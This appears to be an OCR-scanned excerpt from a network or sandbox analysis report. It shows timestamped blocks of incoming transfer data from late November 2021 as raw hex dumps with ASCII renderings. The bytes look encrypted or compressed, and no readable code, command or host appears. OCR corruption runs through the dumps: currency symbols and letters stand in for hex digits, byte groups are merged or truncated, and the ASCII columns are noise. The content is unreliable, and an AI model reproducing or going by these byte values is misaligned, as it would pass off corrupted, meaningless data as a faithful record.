Data Ascii: /P4kIn8sMSHx=,bN- Bg.$!+:ERp-#INA>tGS?9<bgAl{"Q6pGp:.b7pM>J0r$) IH(*n=i<wo?{4V") SMBYWGGN-
ZA
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 180 IN Data Raw: 45 da a0 58 d8 cc 79 40 48 a3 a9 7a 33 56 9a a6 ea 21 ec b9 4f 2f 57 12 d9 d2 dO f5 33 ¢3 19 88 37 c2 af b7 17
ca6le3a8e7fdec9adé 94 0467 06 d7 Oc 77 d9 04 c2 ba d3 f5 6e 6b 97 09 f1 89 3c f7 21 89 b3 2f 77 f2 35 a2 a2 97
5e ff 17 bf 49 2f 80 b6 90 0a 65 b3 02 01 9e e2 ea 31 54 dc 43 3b Oc 73 8b f4 a2 ¢5 50 a5 d1 43 c2 4b b3 Oc 5 f8 50 1d 39
bl eaf5ca 1d c2 0d a8 a6 2b 21 c7 Oc 67 c6 f9 e7 40 30 58 6f 67 95 7d 8d ea 34 da 96 da ff 50 15 2b 4a de 80 8c 6e 83 3f
cb 66 11 1a 5c 1a d1 ac 1e 7f 4e 44 66 ad 07 60 6a 88 3e cf 5d 10 f2 63 60 bf fa 5b e0 af a9 21 ae dd 6f al fc 84 c2 de 8
69 96 04 e3 29 c4 53 3f 7b 5a 0a 6e 3d 9b c0 62 ec b9 bl 75 dc 16 44 96 ff 28 8f b6 97 1c ee a6 57 e2 5f ef 66 a3 e3 ee d8
4b 30 02 Ob 5b 4f Of bd 9e 2a 2f 39 95 2f
Data Ascii: EXy@Hz3V!0/W37agwnk<!/w5"1/e1TC;sPCKP9+!g@0Xog}4P+In?fAANDf j>]c [!0i)S?{Zn=buD(W_fKO[O*/9/

2021-11-29 13:25:46 UTC 182 IN Data Raw: 7d 3c df a8 1f 62 €9 d8 el 81 a7 ab 0d 43 95 a7 64 5b fb bd ee Ob d1 34 07 fa 95 af cf 35 96 d3 72 1le 63 e5 2e
7113 ¢180 72 dd 10 58 8e e4 47 9b el 89 37 30 d5 c5 26 e8 ac cf 46 5d al 19 7b 28 e7 ff 00 61 08 2c f5 17 58 13 71 ee
d2 ed 62 85 3b a2 1c 65 6b €7 80 71 b4 3a a4 34 c6 bf 37 0f 54 ¢4 fb 67 bd c6 2d 3e 50 20 c7 53 db f9 b9 2a 46 5c 45 fb
1c 05 86 b7 aa 77 89 52 45 80 c3 40 20 7e c¢7 92 d7 ae 83 93 c8 fa 9a b5 29 60 67 bf 28 ba 00 b0 ca 5a f0 23 8d fa c5 79
2d b3 36 99 10 d9 ef bb b2 92 85 ec 1a 51 33 74 44 e2 8d 51 60 68 e7 4d 97 33 ae 94 fe 92 3c 14 66 30 1d fb 80 fO 6¢ ea
5a 2c aa 8c 86 94 aa 94 98 f9 3f c3 95 e0 14 43 37 90 2e ac d6 ab 03 3e b2 39 21 74 e4 5¢ 6¢ c6 ac 01 07 11 8d d2 94 e8
38 6¢ 2a €9 69 ef fa 47 5¢ ef 07 a6 56 39 52 b2 45 08
Data Ascii: }<bCd[45rc.qrXG70&F]{(a,Xgb;ekq:47Tg->P S*F\EWRE@ ~) g(Z#y-6Q3tDQ hM3<f0lZ,?C7.>9!t\I8I*IG\VIRE

2021-11-29 13:25:46 UTC 183 IN Data Raw: a5 af 71 6f 9f 57 a2 b8 50 05 6a 41 5a 49 55 98 88 47 47 be 39 cc ea 37 71 1f 3d 07 4e 32 56 67 91 af 67 bb f9
03 fb 32 9d 6d 81 01 00 8b b2 97 da eb da fa €8 17 7c 5e 38 14 f1 1e 10 9c cb 1b 11 3c e4 18 3e ae 8 eb 33 9b ee Oe 07
1d 6a cf 86 cd da 04 14 7 1d 17 25 8 e0 d2 a9 49 16 df 76 a2 1a 10 bf d7 35 ca 96 79 e3 a3 7c 51 d7 6e bc 9e 13 ef 83 60
62 91 b9 1d cd de 5b 47 70 6b 55 bc b9 37 1c 93 a6 99 5a 5d 07 70 45 77 93 d5 12 90 02 76 5b a0 b7 bf €9 29 c9 ad e8
27 d2f0 7b e6 8c cc ed e5c8 17 4a 81 b1 84 a2 78 cd 0d 3b ee 1e 72 ec 4a 41 46 d3 cf a4 f8 34 fb c6 2e 28 42 32 20 84
10 96 4d 4d 45 99 Oa 44 ec 98 7e 9a 56 5a 56 3f 86 6b 1c 5¢ 37 78 4b 51 5a el 3d 95 87 €8 26 20 48 c7 f7 ae €9 9a 37 cc
02 64 b3 05 f3 41 5d 72 45 bc f1 8b 3a d1 3b Of fb dd
Data Ascii: qoWPJAZIUGG979=N2Vgg2m|"*8<>3j%Iv5y|Qn b[GpkU7Z]pEwV[)'{Ix;rJAF4.(B2 MMED~VZV?K\7XKQZ=& H
7dAJrE:;

2021-11-29 13:25:46 UTC 184 IN Data Raw: 29 5e de dO bd bb 2d 4 ff 22 87 61 3d 6d c4 16 22 eb 45 86 1c €9 29 b5 f8 71 6f ¢6 38 dc 5a f7 20 03 c7 9¢ 7b
ac 5f a7 2e 6e e7 ¢5 89 d7 67 c2 28 95 ac b2 b7 5b 16 b7 f0 16 1c ce 2d ce 36 c9 bc db 43 bd 54 06 f8 76 f9 e6 33 09 44
93 21 53 a0 69 01 d9 ea 3f 86 20 fe ef 3c 86 ca 32 3d fc 66 64 11 2e 75 98 aa f1 86 20 06 96 6a f8 d9 57 e8 dc 79 {7 37 ed
2e 79 7a a9 55 39 54 ad 5c 9a 8e e8 6¢ bb ac f7 ab 13 €9 d0 72 7c 45 35 81 5d 69 92 fa 50 f1 ed 06 af b0 ad 2f ad f1 bc 51
2063 7b 06 €7 41 4e 8e 4a aa db 35 €7 44 22 ae d8 c9 bb e2 f3 b4 b1 41 32 86 27 22 f7 a2 b0 c6 70 11 ed fO df 3b be 7d
4e 01 Ob f0 89 90 47 19 83 59 14 69 8d 91 15 de 8d dc db a8 b3 da 3e c9 40 2e df ¢7 17 41 93 bd 9a 2f 5b 93 f8 32 18 6e
13 65 6e a9 ab Oc 80 53 75 f4 cc Oa d3 a0 ad d8
Data Ascii: )*-"a=m"E)qo8Z {_.ng([-6CTv3D!Si? <2=fd.u jWy7.yzUIT\I|E5]iP/Q c{ANJ5D"A2"p;}NGYi>@.A/[2nenSu

2021-11-29 13:25:46 UTC 186 IN Data Raw: d2 al 10 c2 d7 c9 19 94 43 e6 45 €8 2c 3f ee 07 9e 6e ef 9e b0 60 5¢ 92 fb 59 a3 16 f3 cb 6b 28 bc 87 7 1e {7
a3 7f ce 20 ef bf fe 77 ee d5 4d 40 00 a5 6b 46 23 c2 9e d1 72 ad 95 27 52 20 79 68 89 2a 79 98 ed 1c f2 81 cc 84 00 a8 cf
fO Ob 08 8a Of 4d 77 f9 46 ae cf 60 28 36 3d c3 c8 bc 3f al 57 3c 10 eb 4d ab 95 9b 2d 75 0a Oc 03 71 d7 e2 56 42 86 63
cd 5e 36 7e ad c5 27 €8 80 2d 87 95 26 0a 99 c5 Oc 9f Of Oe 4a d9 c3 dc b3 78 f3 0d 8¢ 70 6e ba 17 1f 47 4c c7 b7 fb a0
€8 28 b0 b6 5a 61 4c Ob 08 c6 c5 62 97 89 5d 8 66 Of 7a bf 20 36 Ob 03 d1 b2 14 b5 b0 6a fa aa e7 30 98 d5 d2 7d f9 f9 37
ec ec e9 a9 03 0f 2d 95 df d6 01 23 3f f2 cf f8 8d 7d f4 19 05 0f 2f fO bb f6 7d €8 fb 66 c4 d6 88 6b 15 85 65 55 2b 5d a9 5b
212 d5012b 1942 db ec al 63 f8 2d 52
Data Ascii: CE,?n \Yk( WM@KkF#r'R yh*yMwF (6=?W<M-uqVBc"6~'-&IxpnGL(ZaLb]fz 6j0}7-#?}/}fkeU+][!+Bc-R

2021-11-29 13:25:46 UTC 187 IN Data Raw: 27 70 67 5f 33 a8 a2 8d fb 92 3f 98 29 14 b5 97 dd 34 81 38 Ob 2c 78 ed 97 Oe d8 b0 06 21 4a cb 50 6¢ 7a ac
fc 18 00 8d db 95 75 1d c4 Oc ce 6b 18 f2 a7 65 2c 07 f7 5e 51 53 6¢ 40 93 4b de 61 ba 90 c1 f5 5f 68 59 d6 8f f2 b6 45 3b
af 43 74 b1 cb el 53 68 0f 3d 76 5¢ 21 6¢ 89 ba 53 41 d8 c6 00 06 44 77 69 72 24 1d {3 40 06 1d 4f 8b bc 2f 15 18 a8 0f dc
44 dc b1 27 a0 28 7d 2e d7 77 fd 93 05 42 10 99 1c b9 72 18 45 c4 32 10 3a 1c b2 98 86 0f a9 c4 e9 cf fb ef 80 dc d7 62
c2 fd 40 ad bb 67 d5 60 8c 53 5¢ 25 ef bl bb 1a 13 5f cO da 28 46 c2 d4 Oe 43 9d 8e 4f 58 7e 55 65 a7 Oa 3a 8c bb 43 2e
89 1b ¢8 d2 b1 f4 c7 d6 46 aa 50 c1 39 b8 bf e5 e2 e2 58 cc Ob ef d2 d3 ¢3 22 53 07 5e 20 e5 d2 6e c1 95 d2 a6 5f 09 96
b5 f0 cO 39 7e 22 10 b2 da 5f 88 32 dd al 84 4d 5d
Data Ascii: 'pg_3?)48 x1JPIzuke,"QSI@Ka_hYE;CtSh=WISADwir$ @O/D'(}.wBrE2:b@g'S\%_(FCOX~Ue:C.FP9X"S"
n_9~" 2M]

2021-11-29 13:25:46 UTC 188 IN Data Raw: b2 37 cb 12 4d 5b 72 06 b2 0a cb e5 ¢9 76 a0 56 3d 64 Ob 87 aa 5b bb 30 4a 42 16 58 c2 30 4b 8c 5c 26 93 04
fb fe 97 ea 07 12 41 05 63 b2 bd de 4f 13 49 46 44 c2 33 3b a5 22 df d9 f0 el c1 25 e9 14 1la ab a0 75 92 e9 74 94 20 5d
8d e5 74 26 90 c6 a9 7f 83 f2 1c 15 29 af 4f 68 5b 3b 7f 61 f2 ab 7c b1 c4 20 a5 ed 18 3c 57 98 09 77 2c a8 8a 52 45 f4 66
8 ed c8 bd b7 e2 ea e8 a0 26 6f 2b ee 74 55 00 49 39 a8 83 63 b6 21 c2 ed 64 53 89 7 3¢ 95 40 2f 9d 34 5f dc e7 2b 92
59 40 3d af 5d a9 f9 6a d7 5¢ 42 b2 e6 22 c5 48 2b b0 56 a0 3f 9d 82 bb 67 67 e2 e8 a4 1b af 32 43 4d 9b a9 53 Oa bd 03
00 ea 3e 8b fa 5¢c b5 6e 3¢ d9 d1 6d Ob Ob dd bd 70 84 c1 50 78 44 03 31 bf d2 4d c1 dc 80 12 8c d1 62 22 ff ba b5 4e 01
a5 77 67 96 e3 6e 01 fb 1b 89 e6 d8 5e 65 54 7b eb d6
Data Ascii: 7M[rvV=d[0JBXOK\&AcOIFD3;"%ut ]t&)Oh[;al <Ww,REf&o+tUI9c!dS<@/4_+Y@=]j\B"H+V?gg2CMS>\n<m
pPxD1Mb"Nwgn”eT{

2021-11-29 13:25:46 UTC 189 IN Data Raw: 87 d9 ea b9 24 1e 1a 0d al ac e9 52 62 91 b4 33 07 8d 85 40 d8 85 1c db Of b5 e7 1a 69 54 7a d9 al 50 0f 85
8c 9c 4a 7f 8a eb e5 1c 4c 09 4e 2b 92 ad 7f b0 8¢ 74 el cb e2 c5 59 bb 98 fe c6 8a 5d 09 b4 97 79 40 88 1f 9f a8 08 4b
38 4f de d7 76 4e 60 29 67 04 00 e8 07 bc d3 33 30 3e 65 6a 74 0b 83 21 e7 95 7f dd bb d9 3a b2 8a 19 cf f5 37 c5 26 e0
8476 38 aa 76 6e 7b 5b 93 6a 97 1e d8 ca c4 60 70 04 82 38 7c d4 e6 8d 44 59 1e ab 00 f4 54 a5 76 bc e6 18 58 65 45 ff
3f a5 31 98 5a 2f 61 21 9b 8¢ 56 4f 11 7d a0 84 48 35 45 dd 16 87 83 69 cf 10 ca 9c 62 01 f5 44 30 58 a0 9a f4 42 c6 d9
8a d6 9b 31 06 31 1a Oe d9 36 ef 4e 75 fO cc bb f2 26 af 28 61 6¢ 25 0a 71 90 76 d2 24 eb c4 el 82 17 20 6f cd 16 88 1f 8d
fc bl 1c ed 3c 7d 10 53 ab e2 €9 87 b5 78 4a 54 1c ac
Data Ascii: $Rb3@iTzPJILN+tY]y@K8OvVN")g30>ejt!: 7&v8vn{[j p8|DYTvXeE?1Z/alVO}H5EIbDOXB116Nu&(al%qv$ o<
1SXIT

2021-11-29 13:25:46 UTC 191 IN Data Raw: 22 7d 9b a7 8c eb 24 €9 fb 00 76 2c c1 d3 4d 03 8¢ 63 2e e3 05 ac 22 f3 bd 26 fa 2d 44 bc 74 2e cc fb 4f c5 26
b8 40 17 aa 60 05 3e 21 f2 20 24 ad cf 2¢ Oc 2b 44 a5 c2 19 66 fa 75 3a b9 el e3 9 4e 92 ce 33 19 8e 03 88 66 29 60 c2
35 5a 2c ff 39 4b 65 a0 10 ee e7 a8 a5 5e bd 46 9f 59 85 06 9c¢ b6 c6 c3 d4 27 14 63 04 86 53 69 6a f1 Ob Of 40 8d 3c 62
13 a8 15 fc 61 87 b2 d5 98 25 cd 16 8f 73 31 de 76 35 00 e3 28 4f 05 b2 7c 6b 2b 13 8 be df bl 2d 20 €8 f9 6d c8 6f 8 fc
a7 ad 7f 35 13 7f ed 06 c6 0d ea a0 47 31 8a be fe b7 7a 5f €8 85 cb 94 e4 dc 3d 23 cc 76 1b 64 f5 17 4d b2 ¢5 81 15 ed
dd a5 77 5f d5 c5 4a d4 5a al 7e 02 Oe b2 c3 ad df 92 97 76 13 c¢3 71 87 6e e7 3b 95 03 b1 1d 71 6b 9c b4 15 83 89 01 cf
0f ca bf c8 4¢c 92 ee 05 76 52 d9 b0 55 08 e4 bd 27
Data Ascii: "}$v,Mc."&-Dt.0&@ >! $,+Dfu:N3f)'5Z,9Ke FY'cSij@<ba%s1v5(Olk+- mo5G1z_=#vdMw_JZ~vgn;gkLVRU"

2021-11-29 13:25:46 UTC 192 IN Data Raw: f5 b2 3a 2f 06 3b 20 d8 d8 f5 2d c6 59 ab d9 cO 5e b2 db f9 6b €3 38 e2 57 c0 53 d2 e6 03 27 2a e6 21 06 d9
clc202d35758 14 b9 5afl 10 06 57 0d a7 b3 12 60 d8 1d 04 a0 c1 5e e6 3a fd 49 3c 80 3d 90 ea 44 46 00 61 9e df c7
2854 f0 43 e4 Oc 1c 8e c9 a0 db 50 1e fc 6d c2 28 b3 89 5 5a 75 92 3b bf ea c3 e7 9f c2 26 a8 75 2b e4 c2 f1 65 97 f9 80
6d 49 58 2a 67 80 7d 08 c7 97 d8 62 da 89 7e 11 2a ea de 3d 8c 5b 86 78 ¢9 d0 11 79 72 b9 d1 7f 1e ac 4e 38 56 58 05
00 6a 6¢ 10 Oe 5d 6e 3 35 60 3c ff f8 e2 11 a9 aa 80 dc 6d 62 fc 01 c2 ca c9 6f 94 52 e3 e6 ea b2 3f f8 5a d9 6e ef 9f Od
60 d4 b9 1d 5a cd 16 59 96 49 29 af 87 6¢ 1le b3 a7 b2 cc 18 ef 26 a2 5e ee 90 4d 96 01 65 5b bd 21 df 9f 39 2f b2 95 47
53 9d 79 a3 8c 4c 7a ce ed 45 ac 23 cd af 00 7b cf cd
Data Ascii: :/; -YAk8WS*IWXZW :I<=DFa(TCPm(Zu;&u+emIX*glb~*=[xyrN8VXjl[n5'<mboR?Zn"ZY1)I&*Me[!9/GSyLzE#
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 193 IN Data Raw: 8e a3 ee 32 eb 00 cb e7 03 af fe 23 78 cf Of 1e 54 c2 24 6f 13 c1 91 7d 81 1a be 8c 0f 66 ed c6 8b 37 23 c9 91
28 00 af 76 4a 1a bf 7c 42 fe eb 3d Oe f7 08 04 3 33 54 6e 71 b7 d9 3f 7f 85 3b 82 14 4d 71 01 82 48 bc a8 83 36 c6 5e 24
a8 4b 5e el 8e b6 b3 33 f4 69 ba ef 44 8 6f b9 77 6d 76 5a 86 1c dc 9b a8 89 77 89 34 5e le d6 a6 22 b5 ec 72 c5 ac 83
23 ¢7 d8 b3 c5 2d 38 48 Oe 35 95 3a 45 e0 e0 d9 b5 8d e2 dc aa 31 ce 36 fc 27 19 el bb b2 bf 8c b4 10 b7 31 c1 47 51 b9
53 60 fe c4 19 99 3d 8f 76 fc ec 3c 84 5¢ 37 1d fe 80 64 6¢ 28 5e cd a8 f3 86 27 90 9f 98 fb 3f 5a 95 d7 35 a7 35 f9 2e 74
ec a8 03 2b b2 a2 21 98 e0 ac 6e b4 ac f6 3d 04 8d dd 94 7c 38 48 Oe 1e 6b 90 fa 2e 67 fe 07 a7 56 dO 52 be 40 ec 53 3e
62 6e 90 e6 da 53 69 5d d7 d9 e7 95 47 35 ae d9
Data Ascii: 2#xT$0}f7#(vJ|B=3Tnq?;MgH6"$K"3iDowmvZw4""r#-8H5:E16'1GQS =v<\7dI("'?Z55.t+!n=|8Hk.gVR@S
>bnSi|G5

2021-11-29 13:25:46 UTC 194 IN Data Raw: a7 05 17 d7 ae 7d 15 a7 5c ec ee €9 9c 02 e4 2c¢ 72 dd 0f 00 26 60 f2 cf 5d 8c 86 f4 b7 03 4f 2c €0 bb 64 22 05
fa 09 c4 41 88 58 15 Oc 67 2a 2b 1e {7 28 21 f3 d5 65 2a 4b 45 3f ee 24 62 58 72 51 a9 c6 c5 3b 4e f2 db 2d 3f 22 04 3
76 3e 46 56 32 53 09 ¢3 38 dd 62 63 36 1d e2 f6 a7 a9 9b bd b6 c9 82 58 86 42 ef 4b d3 36 07 d9 01 d4 51 37 70 f5 0d 65
42 de 2c 54 11 bc 16 73 4d 21 be f1 99 45 d8 ff 89 48 30 d4 53 Oe 02 d0 29 46 20 88 7e c3 2a e6 ff 2a f5 89 2a f6 f1 02 6¢
3a 6¢f0 ef ec 87 70 30 2d 77 51 02 37 08 85 92 dd 35 71 bb 06 99 16 5d 58 85 8e bb 69 {7 d2 26 f3 53 af 6¢ 85 15 7b ba
3f 85 b3 €9 f2 b5 ea 73 26 c4 1c dc eb bf 50 03 98 85 b8 b5 bd 8a 83 75 ca c5 05 9f 0f c2 59 95 42 b2 b5 5a ae b4 67 17
2b 9e 44 c8 4c cf 60 dc b5 bc d3 03 ea 71 ae b0 e0
Data Ascii: }\,r&]O,d"AXg*+(!e*KE?$bXrQ;N-?"v>FV2S8bc6XBK6Q7peB, TSMIEHOS)F ~***[:Ip0-wQ75q]Xi&SK?s
&PuYBZg+DL'q

2021-11-29 13:25:46 UTC 195 IN Data Raw: 65 c9 13 45 3b bb 77 59 €7 50 af 9a b1 9b c1 af 7a db bl f1 d2 fe ad 8f 10 97 c8 d6 6f a4 16 93 31 55 52 47 fa
10 47 d9 45 a6 5a b2 bc 26 be a7 74 9a d6 63 9b 44 e5 80 8b 77 54 58 27 d2 85 2d cc 5¢ c9 67 78 €9 4e a3 9b 44 20 73
19 ec af f5 33 06 b9 22 c9 59 26 €0 66 93 8a 50 51 93 14 8b 25 c7 a9 c7 47 27 9e 5a a8 a3 59 93 2c f0 0d fc 5f 62 09 b6
d9 57 bb b2 66 14 64 39 03 12 66 2d ea ae a0 b8 d9 da be 17 74 5f 23 b1 78 ed 6¢ ff b9 fb 1b 48 5¢ 41 18 85 c3 4b a0 20
ef 60 7f 05 4f Of ae 74 84 33 64 ¢4 c1 60 43 90 f4 8¢ a6 9f 7d 80 92 2b 94 fc 40 a7 b6 ad da dd 17 97 92 dc 51 6b 14 0f d5
00 9b af 10 60 c3 dc 7c 3f 97 78 30 a7 5f 28 €8 e8 38 70 7 97 af cc 15 a2 27 e0 26 a6 94 7f e3 36 76 6a 94 13 8a d8 1c
6b ec b8 11 64 8e 4b cb b8 f4 4b d2 c0 41 ee b5 fe a9
Data Ascii: eE;wYPzolURGGEZ&tcDWTX'-\gxND s3"Y&PQ%G'ZY,_bWfdof-t_#xIH\AK "Ot3d C}H+@Qk|?x0_(8p'&6vj
kdKKA

2021-11-29 13:25:46 UTC 196 IN Data Raw: d5 e4 82 3a d2 bd 8a 66 d3 51 53 fa 65 fb 51 51 24 d1 4d 4b 42 9f 79 71 57 94 16 37 18 07 f8 d9 99 00 8d d8
€362 30 b4 06 26 62 fa 29 27 75 al 18 17 2a 82 aa 00 91 5d 2a 8b a4 5a 2c 27 68 a8 b9 62 c1 6d 34 59 21 6f 47 d4 Oc f3
¢4 9d 7e 90 bf 50 fc 20 01 a8 d7 bf ¢8 48 80 36 6b 91 53 ba 39 b9 74 14 ba 24 d0 1c 8d e9 b5 cf 21 89 a2 13 dc bf f0 22
4190 9c ae fb 83 d7 9f 6¢ df 92 2d c0 32 c2 6f c2 3a fa 9d 5a 91 €2 8d 74 8d 9f 4c 99 36 ad 7d db 8a ec b2 62 d2 76 79
€031 4a 2c el e0 53 2d 07 91 be d1 56 €3 17 b9 97 6b 86 1le 6a 1d b8 d8 66 28 76 5e 8f f0 f1 cO 78 90 d1 c0 f9 77 0d 95
bd 6d a5 57 b5 2e 1a b4 a9 67 66 b2 ca 79 9a 86 e2 6e dc f4 {7 7f 4a 8d 91 cd 7e 7c 6¢ Oe 4a 32 92 bc 09 67 aa 5e a6 le
f6 52 cc 19 ee 31 79 63 18 c9 e7 be 15 68 2d 8e db 81 ec
Data Ascii: :fQSeQQ$MKByqW7b0&b)'u*]*Z,'hbm4Y!0G~P HEkS9t$!"Al-20:ZtL6}bvy1J,S-VKjf(vV xwmW.gfynJ~|1J
2g"R1ych-

2021-11-29 13:25:46 UTC 198 IN Data Raw: d4 d7 9a 23 10 fb 78 be 93 47 93 70 91 79 da 55 4a Oa 8f 85 01 de f9 40 02 5f 28 1d 02 70 Oe €2 a8 bc 95 84
be 9f 7e 54 42 3a b6 73 fe 53 €9 bd ac 1b 49 51 1e 56 be c8 7b €9 29 fe 22 14 50 73 03 ac 7f a9 38 10 95 90 14 48 bd d4
8597 c7 2d €9 be 01 f4 92 7b al b8 ad ea 94 30 90 f7 8f 29 4b 2e 34 f5 0d 80 fa 43 60 c7 d8 68 37 aa 50 36 f3 Oc 28 db
e2 05 41 e6 d5 fc 9f 38 9f 07 d1 14 9a b0 Ob b9 6¢ 12 3e d2 75 cd fb 4f 2f dc f0 53 0d ¢3 Oa 83 df a9 Ob 84 9f 61 d8 e6 8a
eb 6¢ 5a aa 7f 6f 9c ed 17 4d 2f c2 44 e8 bd 0f d3 7f 96 a7 49 db 42 f2 52 Oc 76 a6 28 d8 70 fa 6d 21 ec 43 1f 18 39 f1 31
31502 3c 3b 37 39 2f a3 08 89 4a 14 e0 95 65 78 6a al 92 c0 9d 65 56 b5 45 e3 d2 10 96 0d 5f 1e 21 f5 9f 6b 55 27 44
€9 bb c5 8f 41 48 ff 77 25 ¢5 62 10 c6 8a 58 el cc
Data Ascii: #xGpyUJ@_(p~TB:sSIQV{)"Ps8H-{0)K.4C h7P6(A8I>u0O/SalZoM/DIBRv(pm!C911<;79/JexjeVE_!kU'DAH
w%bX

2021-11-29 13:25:46 UTC 199 IN Data Raw: c0 66 27 ba 20 €3 68 b6 de c3 ch 03 e8 b6 11 a5 a8 ¢3 22 70 a2 e8 b2 cd f5 f2 bc 0d e8 91 54 f6 00 c2 6f fO 4e
€6 b3 2a 95 b5 de 79 b9 f4 4a ba 62 b0 5a be ef ¢8 d7 70 da 35 71 d9 45 6¢ 2a e7 e3 2a 10 0d e7 9d fe 53 ea 21 94 8e 4e
e3 5¢ 7172 96 f0 07 1e 4b 5e 9a dc 83 d2 4f c3 e2 ea 8c 5¢ 21 e0 ae 50 a5 52 88 5a 26 a5 c7 75 5f c0 ¢6 40 f4 94 9 1b d7
d8 82 4f 76 8d b5 f1 0a 67 76 7b 7d 19 f7 94 24 24 98 6b d2 23 dd 37 ad 03 8f 23 54 16 09 f5 e7 9b 3c 18 24 be b8 86 c1
2f 4d c0 9a 3e c8 ad f8 1c d2 51 57 3a 17 4a 92 c1 c4 13 1f b5 83 73 be 32 d7 06 73 41 6a 83 ec 06 0f 37 e3 cf 41 71 ef f6
23 af fd b3 b5 4d d6 28 7b 4a 36 01 ba e3 34 2c fd ce ff b9 18 75 83 a7 7f 13 57 74 4e db c4 7f 5 c5 21 9a b6 bc b0 af de
24 fe ac fc db 7a 27 e6 06 55 10 6f 53 c9 c6
Data Ascii: f h"pToN*yJbZp5qE**SIN\qrk O\IPRZ&U_@Ovgv{}$$k#74#T<$IM>QW:Js2sAj7Aq#M({J64,uWtN!$Z'UoS

2021-11-29 13:25:46 UTC 200 IN Data Raw: 1c 5a fb 09 ef cd 5f 13 e5 dc 70 75 8a 7e 36 f3 08 4c d5 €9 16 1e e0 c3 ed 93 0d 8e 02 c7 1c 80 b2 4d 98 65 01
17 c1 55 da dc 43 41 cb fc 49 35 b6 2¢ b2 ca f4 3e 8b 8e 6f c8 ea a2 €3 00 79 aa 79 7e 80 eb 1d 29 20 c9 23 ae 9c 19 cd
42 9e ab 00 fa 30 c0 40 Ob 7c 8¢ 63 e2 6e fa 6d 2d 82 69 7e 37 27 d3 39 00 e7 10 3e 68 03 2b 3f b5 33 86 43 73 d1 fa 64
6b 7c a0 c1 9a ba 78 45 b0 68 e5 b1 3d 80 6e 7b 00 20 f8 90 69 5b 1f 55 9b 90 ce 8f 28 73 d8 7c 20 c9 68 05 a3 89 5¢c el
€8 0e 8¢ 82 66 41 de c6 70 19 74 95 81 79 d4 d4 39 18 d8 51 6a 19 d7 e8 18 c1 f6 47 85 9a 88 4b 66 df 5e 1c bb c2 6d 28
3384 bd 91 e3 8¢ f4 f5 6¢ 84 5d ec ¢9 03 71 9e 89 0f aa 27 88 fc 7b 30 13 5a 42 81 91 59 66 97 al c4 5f 48 2c 53 89 dc
30 5e 10 23 dd 4d ad 26 29 fO 88 ae 4d 23 61 8f 58 81
Data Ascii: Z_pu~6LMeUCAI5,>0yy~) #B0@|cnm-i~7'9>h+?3Csdk|xEh=n{ i[U(s| h\fApty9QjGKf*m(3I]q'{0ZBYf_
H,S0MM&)M#aX

2021-11-29 13:25:46 UTC 202 IN Data Raw: 21 ca 99 5b ¢4 57 81 4b 2a 9f ¢5 03 7c df af 62 f7 e0 fe 03 bb €9 9a 3d 55 e0 d2 d3 13 38 7d 63 Of 2d fb 96 35
3499 75 ¢3 37 c2 52 ca 25 9a Oc 62 02 08 f5 b4 ae 3e 0d 29 ba db a0 d0 32 70 cb ab 2f d4 a6 8b 37 €0 48 40 10 14 4d f7
€6 d5 36 1c b8 9b 73 8e 32 cc Oc 7c 6e Ob 97 ec 72 18 06 f9 db 59 72 de d0 34 b9 ec bl db 7d c1 51 4c 5b 2d 00 ab e2 21
22 fe bd dd dc 2f 4b 89 a5 6f 76 60 69 6e df d9 69 el a8 75 a5 aa 81 be af d4 12 8a 8c fc cc 72 55 f2 06 21 Oc 51 66 c9 cO
03 77 58 28 b6 ae 16 10 6e af 76 21 91 8f cc 1f 47 09 5¢ c7 0f 44 67 bb 50 42 82 5d b6 d2 b4 98 a5 a4 7a dd 8e 89 a6 d2
8c e6 10 86 dc b8 26 98 3e bf 72 50 7b 73 a3 55 32 bc 70 8b 58 b6 al 4f ea f0 00 ae f5 78 99 44 da ca ca 03 7c 5¢c 44 ef
9a 3b d15bc9 20 41 e7 73 9 da 30 30 6d 7c f8 f1
Data Ascii: [[WK*|b=U8}c-54u7R%b>)2p/7H@M6s2|nrYr4}QL[-!"/Kov iniurU!QfwX(nv!G\DgPB]z&>rP{sU2pXOxD|\D;[
As00m|

2021-11-29 13:25:46 UTC 203 IN Data Raw: 1f 21 f2 21 2e ea 26 23 3d 52 08 3f ae 35 86 24 3a eb e3 47 66 66 al b8 de 8c 7e 56 ad 6f ed df 3d 8b 6e 7f 00
31 d5 9e 73 3a 1f 4e 8a 92 ¢5 9c 6d 5e d5 7c 23 de 60 1a a8 cd 7c e7 ee 28 95 95 61 5b fc be 57 13 73 8f 84 79 db b0 0d
09 de 67 40 1b a4 cc Of dc d6 41 85 83 87 3f 70 ea 58 2¢ 99 ce 72 2e 12 99 bf 8c e4 84 9a b6 64 8c 59 d2 e8 12 43 e 8e
1580 25 fb cb 66 0a 17 5¢ 42 80 98 59 72 8b a6 e3 4e 57 6b 6f 9b b2 17 42 1f 35 87 7c ab 26 3d 84 a9 b6 57 39 61 86 33
bd 22 40 47 25 60 50 57 aa 27 Oc 40 89 91 ee c9 ab c8 37 c5 d9 ec 3e ¢5 d2 83 42 b2 46 6e 89 6¢ c1 51 64 05 bf 0f 79 27
a8 73 32 67 b3 7a 39 28 7e fa e3 ee 29 d8 bf ee 43 6f 86 3b 4f 66 db 62 21 59 e5 13 35 44 €7 98 65 83 57 6b 80 85 11 Ob
08 2c 84 98 Oc 85 68 5b 7f 1c Oa 75 d1 64 c1 e6 f9 59
Data Ascii: !l.&#=R?5%$:Gff~Vo=n1s:Nm"|#|(a[Wsyg@A?pX,r.dY C%ABYrNWkoB5|&=W9a3"@ G% PW'@7>BFnlQdy's2g
z9(~)Co;Ofb!Y5DeWkK,h[udY
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 204 IN Data Raw: bf 53 7a ee cb 22 b9 ff 8c ba 4c d2 45 59 5b 27 21 df d5 2a 37 f6 cf 9a fb 32 6d af bb 74 65 76 6f 49 ce d9 Oc c2
ac 1b 89 bd 95 97 b2 df 2c 9f 8a ed c8 6d 55 f2 06 21 Oc 5e 59 c5 c2 17 6e 3d 3d d3 89 2c 35 48 ab 76 03 93 e2 db 0f 47
33 7e ab 1a 40 7e e4 76 41 f1 6¢ be al bf 99 d3 a6 6d a9 a2 a5 a6 e8 a5 88 10 bl cd 94 00 80 2d b7 00 06 49 63 bb 62 19
b0 74 a0 43 b2 be 2b db fc 11 86 d6 63 f5 75 e6 ff d6 00 7c 43 44 c6 98 5e c4 48 bd 0a 47 f2 20 d4 c0 36 55 46 10 f1 f3 b5
